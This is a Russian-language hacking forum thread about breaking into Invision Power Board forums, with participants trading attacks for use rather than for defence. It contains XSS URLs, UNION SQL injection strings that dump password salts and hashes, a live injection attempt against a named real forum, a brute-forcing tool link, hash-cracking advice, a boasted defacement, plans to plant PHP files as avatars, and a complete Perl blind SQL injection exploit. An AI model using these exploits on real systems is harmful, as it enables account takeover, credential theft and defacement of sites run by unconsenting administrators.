• XSS.stack #1 – первый литературный журнал от юзеров форума

Взлом Invision Power Board

эх, не позволяет mysql_query() два запроса сразу в неё засунуть... а жаль :huh:
а то бы если после select-а втемяшить update, то можно было бы и мыло подменить а потом зайти и нажать "я забыл свой пароль" и ваще базой рулить можно было бы через эту дыру SQL-injection.
 
XSS в Invision Power Board by Morph
В Invision Power Board была обнаружена новая XSS. Проверялась только в IPB 2.0.4, в остальных версиях работа не гарантируется. Однако, по предположениям, уязвимость касается полностью всего "модельного ряда" форумного движка IPB. Угроза от уязвимости минимальная.
Данная ссылка будет выводить на главной странице [JS-сценарий]. Т.к данные не фильтруються то можно поставить злонамеренный код.
Код:
/admin.php?code=doreg&act=pin&ipb_reg_number=0610475748-62658-10-18233-02542&
ipb_reg_show=1&ipb_reg_name=INVISIONBOARD.COM+'>[JS-Сценарий]<'
Это выведет предупреждение сразу после ввода пароля.
Код:
/admin.php?printframes=1&act=mysql&code=runsql&query=[JS-сценарий]
Работает только, если зайти по этой ссылке и ввести пароль пользователя.....Тогда выйдет [JS-Сценарий специально созданый пользователем.]. С помощью данной уязвимости особо сделать ничего нельзя, но тем не менее она существует и это отрицать невозможно. Есть вероятность, что ее еще будут копать и найдут что-то действительно стоящее.
 
а http://www.xss.pro/index.php?topic=103.80# пробовал? :)
нельзя сменить мыло, зато можно узнать содержимое письма для восстановления пароля ;)
 
©yBe®0Ge№, дай ссылку на форум.
ты уверен что в подопытных форумах есть дырка SQL-injection?
еще - у форума должна работать отсылка email, поэтому на ненастроенном локальном сервере может не проканать.
метод должен работать везде где есть эта дырка... в крайнем случае, может быть другой префикс БД, или название таблицы. в 2.0.1 работает с
)+UNION+select+1,1,1,1,1,1,1,1,1,1,CONCAT(CHAR(58),regid%20,CHAR(58),regcode,CHAR(58),ip_address),1,1,1,1,1,1,1,1,1+from%20+ibf_reg_antispam+/*
строчку нужно добавить в место через которое гарантированно пропускается sql..
перед этим ессно, нужно сделать запрос на восстановление пароля.

Добавлено [time]1124451875[/time]
http://www.matrixfiles.fatal.ru/BrutTools.exe

и еще раз, возвращаясь к теме вскрытия мд-5.
в выпадающем меню выбираем ipb2.0.x
одно плохо - работает только по словарю..
впрочем, тут где-то проплывало на античате видео с решением проблемы взлома ipb2.0.x-хешей.
Добавлено [time]1124452213[/time]
и ищо :thumbsup:
http://passcracking.com/
 
и еще раз, возвращаясь к теме вскрытия мд-5.
в выпадающем меню выбираем ipb2.0.x
одно плохо - работает только по словарю..
впрочем, тут где-то проплывало на античате видео с решением проблемы взлома ipb2.0.x-хешей.

хэши утянутые из IPB 2.0.x вскрывать БЕСПОЛЕЗНО поля password теперь нет в той таблице куда мы можем добраться (ibf_members) там поле под названием member_login_key и название действительно соответствует назначению хэша в нём хранящемуся - он служить ТОЛЬКО для автологина!!! т.е. например у Мозилы есть файл cookies.txt отредактировав его то бишь добавив member_id и pass_hash от имени этого форума с утянутым из поля member_login_key хэшем мы будем автоматом впущены на форум под ником обладателя этих member_id и pass_hash. Мы сможем постить от его имени, менять личные настройки не требующие знания пароля. НО!!! в админку мы не зайдем!!! И даже e-mail изменить не сможем т.к. там требуется настоящий пароль, а его мы НЕ МОЖЕМ получить дешифровкой хэша из member_login_key т.к. хэш этрот получен из случайной строки сгенерированой в момент регистрации чувака. Хэш его НАСТОЯЩЕГО пароля и salt к нему хранятся в таблице ibf_members_converge. Но через эту дыру в login.php я сколько не пытался так и не нашёл пути добраться до этой таблицы. Там делается SQL-query: select * from ibf_members where id=member_id and member_login_key=pass_hash. И мы можем добавить что-то своё закрыв кавычку в pass_hash, а чтобы добраться до таблицы ibf_members_converge нам надо иметь возможность превратить этот запрос в такой: select * from ibf_members, ibf_members_converge where ... чего у нас никак не получится. Тут нужны поиски других дыр которые нам могут дать доступ к таблице ibf_members_converge.

Я даже пытался вставить в этот query еще один запрос: pass_hash="%2527%20%253B%20UPDATE%20ibf_members_converge%set%20email=%2527aaa@mail.ru";
дабы сменить в этой таблице мыло юзверей и потом зайдя в авторизацию и нажав "Я забыл свой пароль" получить ответ на СВОЁ мыло. Но треклятая PHP-шная функция mysql_query не позволяет просунуть 2 запроса к БД сразу. Я хотел чтобы получился такой запрос: select * from ibf_members where id=1 and member_login_key=''; update ibf_members_converge set email='aaa@mail.ru'; Но вот облом :cry2:

Добавлено [time]1124564098[/time]
не большая шалость над IPB 1.3 lol.gif http://50rus.com/forum/index.php

кто не успел посмотреть на мой дефейс форума на движке IPB 1.3 я не виноват за 2 дня админы успели вернуть к себе контроль над форумом... хотя это и не мудрено, имея доступ к MySQL это можно сделать одной командой :D .
 
друг.. смотри как собственно происходит вскрытие.
сам долго думал над тем как бы всетки решить проблемы.. и придумал.в принципе, из языков программирования я знаю только php... и реализовывать в нем мне это показалось процессом нудным и неудобным.
залез на античат - нашел видео и прогу для преобразования словарей(об этом ниже). потом на форуме оного же античата я нашел программу которая делает все это автоматически, см. ниже(ссылка на прогу в моем предыдущем посте)
Итак, у нас есть:
salt
МД5 (мд5(salt).md5(pass)) кстати, берется он не из idf_members, об этом ниже.
и словарик паролей.
соответственно мы будем подбирть к мд5 следующим образом составленный ловарь
md5(salt) + md5(пароль из словаря)
преобразовав таким образом словарик - в случае, если пароль из словаря равен паролю пользователя, мы получаем правильные последние 32 знака зашифрованной строки. первые 32 знака мы уже знаем т.к соль все-таки хранится в БД форума, мы сможем подбирать по словарю пароли к этому md5 :)
Код:
)+UNION+select+1,1,1,1,1,1,1,1,1,1,CONCAT(CHAR(58),converge_id%20,CHAR(58),converge_pass_salt,CHAR(58),converge_pass_hash),1,1,1,1,1,1,1,1,1+from%20+ibf_members_converge+/*
подставляется все так же как в варианте описанном на первой странице темы, при наличии дырки выдает salt для всех пользователей+ПРАВИЛЬНЫЙ мд5-хеш формата md5(md5(salt)+md5(pass)) - в ibf_members содержится лишь auto login key, составляемый по той же схеме, но без сохранения salt в БД.


©yBe®0Ge№, там же, на первой странице проплывает человек с неработающей дыркой в форуме. внимательно перечитай, думаю будет понятно.
 
да, Evil, твой эксплойт действительно работает на моём домашнем компе с версией форума 2.0.2 :) , а вот пробовал 3 разных форума в инете так атаковать (версии 2.0.4, 2.0.3 и такой же как и у меня - 2.0.2) - ни хера не выходит :(
например на 2.0.2 вот
http://www.kamishin.ru/forum/index.php?&act=Post&CODE=02&f=4&t=71&qpid=1)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(CHAR(58),converge_id%20,CHAR(58),converge_pass_salt,CHAR(58),converge_pass_hash),1,1,1,1,1,1,1,1,1%20from%20ibf_members_converge%20where%20converge_id%20IN(17

выдает такую херню:
[rp]Alphazone [snapback]11[/snapback][/rp]


[rp]МИНА [snapback]58[/snapback][/rp]

Добавлено [time]1124627639[/time]
от б**ть!!!
вот:
Код:
[rp][b]Alphazone[/b] [snapback]11[/snapback][/rp]


[rp][b]МИНА[/b] [snapback]58[/snapback][/rp]
 
там прикол в том что ты должен сначала войти на форум под каким-нить пользователем (т.к. у тебя должны быть права на добавление сообщений в топик указываемый тобой "f=4&t=71" - 4 - й форум 71-й топик) и указываемый форум и топик должны реально существовать (когда заходишь в один из разделов форума в строке адреса после f= стотит "номер форма" потом заходишь в топик какой-нить и в адресной строке смотришь t="номер топика" ну и подставляешь в свою строку эти значения а её запихиваешь в строку адреса браузера и жмешь Enter должна появицца форма для ввода reply-я и внутри неё и будет хэш и прочая вигня...

но вот видимо эта дырка легко заделывается без правки кода - какими-нить настройками форума, т.к. я нашел тока один реальный форум где это работает и то он "тестовый" т.е. за его настройку никто еще не беспокоился... а в других местах в форме для ввода reply-я либо пусто, либо вот такое говно как я приводил выше без хэша пароля и salt :(

но я в общем-то всего 5 или 6 форумов потестил, так что это не показатель, наверняка встречаются лоховатые админы где эта дырка не прикрыта...

Добавлено [time]1125060925[/time]
я вот завтра в отпуск на моря отправляюсь :) а как приеду надо будет пощупать насчет того как бы загружать свои PHP-странички на сервак под видом картинок или аватаров... вот это было бы дело - так можно свой отдельный вход в админку приделать или страничку чтобы менять пароли админам без входа в админку :D

Добавлено [time]1125061042[/time]
ведь админам частенько разрешено в uploads заливать всякое, так можно ведь утащить хэш для автологина, прописать его и member_id в кукисы своего браузера и ты автоматом войдешь как админ и сможешь в uploads залить PHP-страничку свою :)
Добавлено [time]1125061099[/time]
а из неё сменить например пароль админу и спокойно войти в админку и тогда уже делай чё хошь с форумом :D
 
#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## TRIx
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
##
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr(42);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%21%20";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);

while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------

);
exit();
}

:tease:
 
а есть какие нибудь уязвимости в ipb 2.1 ?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх